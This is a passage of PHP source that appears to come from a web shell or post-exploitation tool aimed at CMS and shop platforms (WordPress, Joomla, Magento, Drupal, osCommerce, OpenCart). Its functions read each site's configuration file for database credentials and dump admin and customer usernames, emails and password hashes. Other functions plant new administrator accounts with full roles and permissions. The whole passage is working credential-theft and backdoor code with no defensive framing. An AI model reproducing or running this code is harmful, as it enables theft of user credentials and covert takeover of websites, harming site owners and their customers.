    {$tbl_preffix=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$sitename"))
    {$uri=$matches[2][$i];}
    
}
if(!empty($db_name))
{
    if(function_exists('mysql_connect')){
        if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
            if(mysql_select_db($db_name,$con_mss))
            {
             
        $ErrorMsg = "";
               $result2 =  mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
  $usrArray[] = $row[0].":".$row[1].":".$row[2];
}
  return Array("url"=>$uri,"data"=>$usrArray)  ;     
}
}
        
       
        
            }
        }
    }
}
}
  }
  
  function getMGUser($cont,$ismg2)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
     if(!$ismg2&&stristr($cont,"<?xml version"))
     {
        $dbdata = new SimpleXMLElement($cont);
        $db_name = $dbdata->global->resources->default_setup->connection->dbname; 
        $db_user = $dbdata->global->resources->default_setup->connection->username;
        $db_pass = $dbdata->global->resources->default_setup->connection->password;
        $db_host= $dbdata->global->resources->default_setup->connection->host;
        $tbl_preffix=$dbdata->global->resources->db->table_prefix; 
        
     } elseif($ismg2&&stristr($cont,"'host' =>"))
     {
         //'host' => 'localhost',
     preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"dbname"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"table_prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     }
     
     }
        if(!is_null($db_name)&&!empty($db_name))
{
    if(function_exists('mysql_connect')){
        if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
            if(mysql_select_db($db_name,$con_mss))
            {
                $result =  mysql_query ("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $uri=trim($row[0]);
           
        }
                
        $ErrorMsg = "";
                $result2 =  mysql_query ("SELECT username,email,password FROM ".$tbl_preffix."admin_user", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
  $usrArray[] = $row[0].":".$row[1].":".$row[2];
}
  return Array("url"=>$uri,"data"=>$usrArray)  ;     
}
}
        
            }
        }
    }
}
        



  }
  
  function getDPUser($cont)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
if(stristr($cont,"'host' =>"))
     {
         
      preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
         
     if(is_array($matchdbs)) 
     {
     foreach($matchdbs[0] as $matchdb )
     {
         if(stristr($matchdb,"password"))
         {
                 preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"database"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     } 
     break;
         }
     }  

     }
     
     }
        if(!is_null($db_name)&&!empty($db_name))
{
    if(function_exists('mysql_connect')){
        if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
            if(mysql_select_db($db_name,$con_mss))
            {
                $result =  mysql_query ("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ", $con_mss);
        if($result)
        {
           $row = mysql_fetch_row($result);
           if(is_array($row)&&count($row)>0)
           $uri= unserialize(trim($row[0]));
           
        }
        
        $ErrorMsg = "";
                $result2 =  mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users", $con_mss) or $ErrorMsg  =  mysql_error();
                
                if ($ErrorMsg)
                {
                    $ErrorMsg = "";
                    $result2 =  mysql_query ("SELECT name,mail,pass FROM ".$tbl_preffix."users_field_data", $con_mss) or $ErrorMsg  =  mysql_error();
                }
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
    if(!empty($row[2])){
  $usrArray[] = $row[0].":".$row[1].":".$row[2];
    }
}
  return Array("url"=>$uri,"data"=>$usrArray)  ;     
}
}
        
       
    }
    }
}
  }
  }
  
  
   function getOSCUser($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    
    if(function_exists('mysql_connect')){
    if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
    if(mysql_select_db($db_name,$con_mss))
    {  
        $ErrorMsg = "";
        $result2 =  mysql_query ("SELECT user_name,user_password FROM administrators", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
    if(!empty($row[1])){
  $usrArray[] = $row[0].":".$row[1];
    }
}
        $result2 =  mysql_query ("SELECT customers_email_address,customers_password FROM customers", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
    if(!empty($row[1])){
  $usrArray[] = "customer".$row[0].":".$row[1];
    }
}
  return Array("url"=>$uri,"data"=>$usrArray)  ;     
}
}

        
        
    }
    }
}
}
}
  }
}
  }
  
  function setOSCUser($cont,$u_name,$pass)
  {
       $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_SERVER"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    if(function_exists('mysql_connect')){
    if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
    if(mysql_select_db($db_name,$con_mss))
    {

        $result =  mysql_query ("SELECT user_name,user_password FROM administrators where user_name='$u_name' or user_password='$pass' ", $con_mss);
                    if (mysql_num_rows($result)>0){
                while ($row = mysql_fetch_row($result)){
                  
                    if($row[0]==$u_name&&$row[1]==$pass)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            } else if($row[1]==$pass)
            {
                $otheruser = $row;
              
            } else if($row[0]==$u_name)
            {
                $alexuser = $row;
            }
                  }
                  if ($otheruser&&is_array($otheruser))
                  {
                      return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
                  } else if ($alexuser&&is_array($alexuser))
                  {
                      $u_name = generate_password(6);
                  }
          
        
                
        
            }
        $ErrorMsg = "";
        $insusrquery = mysql_query ("INSERT INTO  administrators (user_name,user_password) VALUES('$u_name','$pass') ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO administrators (user_name,user_password) VALUES('$u_name','$pass') ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
        if($insusrquery)
               {
                  return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
               }
        
        
    }
    }
}
}
}
  }
  
    function getOPUser($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PREFIX"))
    {$db_preffix=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    
    if(function_exists('mysql_connect')){
    if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
    if(mysql_select_db($db_name,$con_mss))
    {  
        $ErrorMsg = "";
        $result2 =  mysql_query ("SELECT username,password,salt FROM ".$db_preffix."user", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
    if(!empty($row[1])){
  $usrArray[] = $row[0].":".$row[1].":".$row[2];
    }
}
        $result2 =  mysql_query ("SELECT email,password,salt FROM ".$db_preffix."customer", $con_mss) or $ErrorMsg  =  mysql_error();
if  (!$ErrorMsg){
  if (mysql_num_rows($result2)>0){
while ($row = mysql_fetch_row($result2)){
    if(!empty($row[1])){
  $usrArray[] = "customer:".$row[0].":".$row[1].":".$row[2];
    }
}
  return Array("url"=>$uri,"data"=>$usrArray)  ;     
}
}

        
        
    }
    }
}
}
}
  }
}
  }
  
  
  function setOPCUser($cont,$u_name,$pass,$salt)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
      if(stristr($matches[2][$i],"DB_DATABASE"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_USERNAME"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PASSWORD"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_HOSTNAME"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"HTTP_SERVER"))
    {$uri=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"DB_PREFIX"))
    {$db_preffix=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    if(function_exists('mysql_connect')){
    if (($con_mss = @mysql_connect($db_host,$db_user,$db_pass,true))) {
    if(mysql_select_db($db_name,$con_mss))
    {

        $result =  mysql_query ("SELECT username,password,salt FROM ".$db_preffix."user where username='$u_name' or password='$pass' ", $con_mss);
                    if (mysql_num_rows($result)>0){
                while ($row = mysql_fetch_row($result)){
                  
                    if($row[0]==$u_name&&$row[1]==$pass)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            } else if($row[1]==$pass)
            {
                $otheruser = $row;
              
            } else if($row[0]==$u_name)
            {
                $alexuser = $row;
            }
                  }
                  if ($otheruser&&is_array($otheruser))
                  {
                      return Array("url"=>trim($uri),"user"=>$otheruser[1],"pass"=>$otheruser[2]) ;
                  } else if ($alexuser&&is_array($alexuser))
                  {
                      $u_name = generate_password(6);
                  }
          
        
                
        
            }
        $ErrorMsg = "";
        $dateAdd =date_create()->format('Y-m-d H:i:s')  ;
        $insusrquery = mysql_query ("INSERT INTO  ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1',$dateAdd) ", $con_mss) or $ErrorMsg  =  mysql_error();
        $repcnt=0;
        while(stristr($ErrorMsg,"duplicate")&&$repcnt<3&&!$insusrquery)
        {
            $ErrorMsg = "";
            $u_name = generate_password(6);
            $insusrquery = mysql_query ("INSERT INTO  ".$db_preffix."user (user_group_id,username,password,salt,firstname,lastname,email,image,code,ip,status,date_added) VALUES('1','$u_name','$pass','$salt','$u_name','$u_name','$u_name@gmail.com','','','','1',$dateAdd) ", $con_mss) or $ErrorMsg  =  mysql_error();
            $repcnt++;
        }
        if($insusrquery)
               {
                  return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
               }
        
        
    }
    }
}
}
}
  }
  
   function setWPUserI($cont,$u_name,$pass)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_NAME"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_user"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_host"))
    {$db_host=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
    if(is_array($mpreffix)&&count($mpreffix)==3)
    {$tbl_preffix=$mpreffix[2];}
    $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
    if (!mysqli_connect_errno())
    {
        $result=$mysqli->query("SELECT option_value FROM ".$tbl_preffix."options where option_name='siteurl'");
        $uri = "";
        if($result)
        {
            $row = $result->fetch_assoc();
            $uri = $row["option_value"];
            $result->close();       
           
        }
        
        $result=$mysqli->query("SELECT ID,user_login,user_pass FROM ".$tbl_preffix."users where user_login='$u_name' or user_pass='$pass' ");
        
        if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["user_pass"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["user_login"],"pass"=>$pass) ;
                } else if($row["user_login"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
            $result->close();
        }
        
        $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name@gmail.com','$u_name') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (user_login,user_pass,user_nicename,user_email,display_name) VALUES('$u_name','$pass','$u_name','$u_name@gmail.com','$u_name') ");
            }
        }
        if($insusrquery)
        {
             $result=$mysqli->query("SELECT ID FROM ".$tbl_preffix."users where user_login='$u_name' AND user_pass='$pass' ");
             if($result)
             {
                 $row = $result->fetch_assoc();
                 $usrdID=$row["ID"];
                  if($usrdID>0)
           {
               $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."usermeta (user_id,meta_key,meta_value) VALUES($usrdID,'wp_capabilities','a:1:{s:13:\"administrator\";b:1;}') ");
               if($insusrquery)
               {
                   
                 $mysqli->close();
                  return Array("url"=>$uri,"user"=>$u_name,"pass"=>$pass) ;
               }
           }
             }
        }
        
    }
    
}
}
  }
  
  function setJMUserI($cont,$u_name,$pass)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
preg_match_all('/(\$\w+\s*=\s*\')([^\']+)(\'\s*\;)/', $cont, $matches);
                if(is_array($matches))
{
    for($i=0;$i<count($matches[1]);$i++)
{
    if(stristr($matches[1][$i],"\$db "))
    {$db_name=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$user "))
    {$db_user=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$password"))
    {$db_pass=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$host"))
    {$db_host=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$dbprefix"))
    {$tbl_preffix=$matches[2][$i];}
    elseif(stristr($matches[1][$i],"\$sitename"))
    {$uri=$matches[2][$i];}
    
}
if(!empty($db_name))
{
         $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
       
            if (!mysqli_connect_errno())
            {
                $result=$mysqli->query("SELECT id,username,password FROM ".$tbl_preffix."users where username='$u_name' or password='$pass' ");
                  if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["password"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
                } else if($row["username"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
            $result->close();
        }
        
        $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,username,password,sendEmail,params) VALUES('$u_name','$u_name','$pass',0,'{}') ");
            }
        }
        
        
        if($insusrquery)
        {
            
            $result=$mysqli->query("SELECT id FROM ".$tbl_preffix."users where username='$u_name' AND password='$pass' ");
            if($result)
        {
           $row = $result->fetch_assoc();
          $usrdID=$row["id"];
           if($usrdID>0)
           {
           $adminID=7;
           $result=$mysqli->query("SELECT id FROM ".$tbl_preffix."usergroups where title LIKE '%administrator%' ");
        if($result)
        {
            $row = $result->fetch_assoc();             
           $adminID=$row["id"];
            
           
           
        }
        
        $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user_usergroup_map (user_id,group_id) VALUES($usrdID,$adminID) ");
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
               }        
           }
        }            
        }        
            }
}
}
  }
  
  function setMGUserI($cont,$u_name,$pass,$ismg2)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
     if(!$ismg2&&stristr($cont,"<?xml version"))
     {
        $dbdata = new SimpleXMLElement($cont);
        $db_name = $dbdata->global->resources->default_setup->connection->dbname; 
        $db_user = $dbdata->global->resources->default_setup->connection->username;
        $db_pass = $dbdata->global->resources->default_setup->connection->password;
        $db_host= $dbdata->global->resources->default_setup->connection->host;
        $tbl_preffix=$dbdata->global->resources->db->table_prefix; 
        
     } elseif($ismg2&&stristr($cont,"'host' =>"))
     {
         //'host' => 'localhost',
     preg_match_all('/(\')(\w+)(\'\s*\=\>\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"dbname"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"table_prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     }
     
     }
        if(!is_null($db_name)&&!empty($db_name))
{
        $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
 
        
            if (!mysqli_connect_errno())
            {
                $uri="";
                $result=$mysqli->query("SELECT value FROM ".$tbl_preffix."core_config_data where path='web/unsecure/base_url' ");
                if($result)
        {
            $row = $result->fetch_assoc();
            $uri = $row["value"];       
           
        }
                $result=$mysqli->query("SELECT user_id,username,password FROM ".$tbl_preffix."admin_user where username='$u_name'or password='$pass' ");
                
        if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["password"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["username"],"pass"=>$pass) ;
                } else if($row["username"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
            $result->close();
        }
        
        
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','$u_name@gmail.com','$u_name','$pass',0,1,'N;') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_user (firstname,lastname,email,username,password,reload_acl_flag,is_active,extra) VALUES ('$u_name','$u_name','$u_name@gmail.com','$u_name','$pass',0,1,'N;') ");
            }
        }
        
        
        
        if($insusrquery)
        {
            if(!$ismg2){
                
            
        $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."admin_role (parent_id,tree_level,sort_order,role_type,user_id,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),'$u_name')") ;
            } else
            {
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."authorization_role (parent_id,tree_level,sort_order,role_type,user_id,user_type,role_name) VALUES (1,2,0,'U',(SELECT user_id FROM ".$tbl_preffix."admin_user WHERE username = '$u_name'),2,'$u_name')");
            }
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
                  
               }
        }
        
            }
}

  }
  
  function setDPUserI($cont,$u_name,$pass)
  {
        $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $uri="";
        $roletbl="";
        
if(stristr($cont,"'host' =>"))
     {
         
      preg_match_all('/^\s*\$databases[^;]+\;/m', $cont, $matchdbs);
         
     if(is_array($matchdbs)) 
     {
     foreach($matchdbs[0] as $matchdb )
     {
         if(stristr($matchdb,"password"))
         {
                 preg_match_all('/^(\s+\')(\w+)(\'\s*\=\>\s*\')([^\']+)/m', $matchdb, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"database"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"username"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"host"))
    {$db_host=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"prefix"))
    {$tbl_preffix=$matches[4][$i];}
    
}
     } 
     break;
         }
     }  

     }
     
     }
     
        if(!is_null($db_name)&&!empty($db_name))
{
    
        $mysqli = new mysqli($db_host,$db_user,$db_pass,$db_name);
        if (!mysqli_connect_errno())
            {
                $result=$mysqli->query("SELECT value FROM ".$tbl_preffix."variable where name='site_name' ");
        $uri = "";
        if($result)
        {
            $row = $result->fetch_assoc();
            $uri = $row["value"];  
            $result->close();     
           
        }
        
        $ErrorMsg = "";
        $isD8 = false;
        $result=$mysqli->query("SELECT uid,name,pass FROM ".$tbl_preffix."users where name='$u_name' or pass='$pass' ");
        $ErrorMsg = $mysqli->error;
        if ($ErrorMsg)
                {
                    $isD8 = true;
                    $ErrorMsg = "";
        $result=$mysqli->query("SELECT uid,name,pass FROM ".$tbl_preffix."users_field_data where name='$u_name' or pass='$pass' ");
                }
        
         if($result->num_rows > 0)
        {
            $isExistUsr = false;
            while($row = $result->fetch_assoc())
            {
                if($row["pass"]==$pass)
                {
                    $result->close();
                    $mysqli->close();
                    return Array("url"=>trim($uri),"user"=>$row["name"],"pass"=>$pass) ;
                } else if($row["name"]==$u_name)
                {
                    $isExistUsr = true;
                }
            }
            if($isExistUsr)
            {
                $u_name = generate_password(6);
            }
            $result->close();
        }
        
        
        if($isD8)
        {
           $result=$mysqli->query("SELECT MAX(uid) as uid FROM ".$tbl_preffix."users_field_data"); 
        } else
        {
           $result= $mysqli->query("SELECT MAX(uid) as uid FROM ".$tbl_preffix."users");
        }
        
        $prevuid=256;
        if($result)
        {          
           $row = $result->fetch_assoc();
            $prevuid = $row["uid"]+1;
           
        }
        
        if ($isD8)
        {
            $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_field_data (uid,name,pass,status,init,langcode,created,access,default_langcode) VALUES ($prevuid,'$u_name','$pass',1,'$u_name','en',1522280463,1522280463,1) ");
            }
        }
           
            if($insusrquery)
        {
            $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."user__roles (bundle,entity_id,revision_id,langcode,delta,roles_target_id) VALUES ('user',$prevuid,1,'en',0,'administrator') ");
            $uuidd = sprintf('%04X%04X-%04X-%04X-%04X-%04X%04X%04X', mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(16384, 20479), mt_rand(32768, 49151), mt_rand(0, 65535), mt_rand(0, 65535), mt_rand(0, 65535));
            $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (uid,uuid,langcode) VALUES ($prevuid,'".$uuidd."','en') ");
            
            if($insusrquery)
            {
                return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
            }
        }
            
        
        }
        else
        {
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (uid,name,pass,status,init,data) VALUES ($prevuid,'$u_name','$pass',1,'1','b:0;') ");
        if(!$insusrquery)
        {
            $err = $mysqli->error;
            if(stristr($err,"duplicate"))
            {
                $u_name = generate_password(6);
                
                $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users (name,pass,init,data) VALUES ('$u_name','$pass','1','b:0;')  ");
            }
        }
        
        if($insusrquery)
        {
           $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."role (name,weight) VALUES ('$u_name',2) ") ;  
           if($insusrquery)
           {
               $result =  $mysqli->query("SELECT rid FROM ".$tbl_preffix."role where name='$u_name' ");
        if($result)
        {  
           $row = $result->fetch_assoc();
           $rid= $row["rid"];
           $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."role_permission (rid,permission,module) VALUES ($rid,'access administration pages','system'),($rid,'access site in maintenance mode','system'),($rid,'access user profiles','user'),($rid,'administer actions','system'),($rid,'administer blocks','block'),($rid,'administer modules','system'),($rid,'administer permissions','user'),($rid,'administer site configuration','system'),($rid,'administer themes','system'),($rid,'administer users','user')");
           if($insusrquery)
           {
               $insusrquery = $mysqli->query("INSERT INTO ".$tbl_preffix."users_roles (uid,rid) VALUES ((SELECT uid FROM ".$tbl_preffix."users WHERE name = '$u_name'),$rid) ");
               if($insusrquery)
               {
                  return Array("url"=>trim($uri),"user"=>$u_name,"pass"=>$pass) ;
                  
               }  
           }            
        }
           }     
        }
        }    }
  }
  }

  function getWPUserI($cont)
  {
      $db_name = NULL;
        $db_user = NULL;
        $db_pass = NULL;
        $db_host= NULL;
        $tbl_preffix="";
        $db_preffix="";
        $uri="";
      preg_match_all('/(define\(\')([^\']+)(\',\s*\')([^\']+)/', $cont, $matches);
        if(is_array($matches))
{
    for($i=0;$i<count($matches[2]);$i++)
{
    if(stristr($matches[2][$i],"DB_NAME"))
    {$db_name=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_user"))
    {$db_user=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_password"))
    {$db_pass=$matches[4][$i];}
    elseif(stristr($matches[2][$i],"db_host"))
    {$db_host=$matches[4][$i];}
    
}
if(!empty($db_name))
{
    preg_match('/(\$table_prefix\s*=\s*\')([^\']+)/', $cont, $mpreffix);
